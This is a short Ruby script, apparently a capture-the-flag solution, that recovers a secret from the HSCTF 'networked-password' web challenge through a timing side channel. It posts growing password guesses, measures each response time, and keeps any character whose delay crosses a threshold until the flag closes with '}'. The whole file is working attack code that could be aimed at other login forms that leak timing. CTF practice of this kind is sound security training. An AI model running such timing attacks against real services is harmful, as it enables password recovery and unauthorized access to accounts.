require 'benchmark'
require 'http'

def http_post(prefix)
 HTTP.post('https://networked-password.web.chal.hsctf.com/',
           form: { password: prefix })
end

def guess_good?(prefix)
 time = Benchmark.realtime { http_post(prefix) }
 puts "testing: #{prefix} (#{time})"
 time > prefix.length * 0.5 + 0.3
end

CHARSET = 'etaoinshrdlucmwfgypbvkjxqz_ 0123456789!@#$%^&*[]+-=ETAOINSHRDLUCMWFGYPBVKJXQZ`~();:\\,./<>?'.chars

def guess_flag_char(prefix)
 CHARSET.each do |char|
   return char if guess_good?(prefix + char)
 end
 raise '>_>'
end

flag = 'hsctf{'
char = nil
until char == '}'
 char = guess_flag_char(flag)
 flag += char
end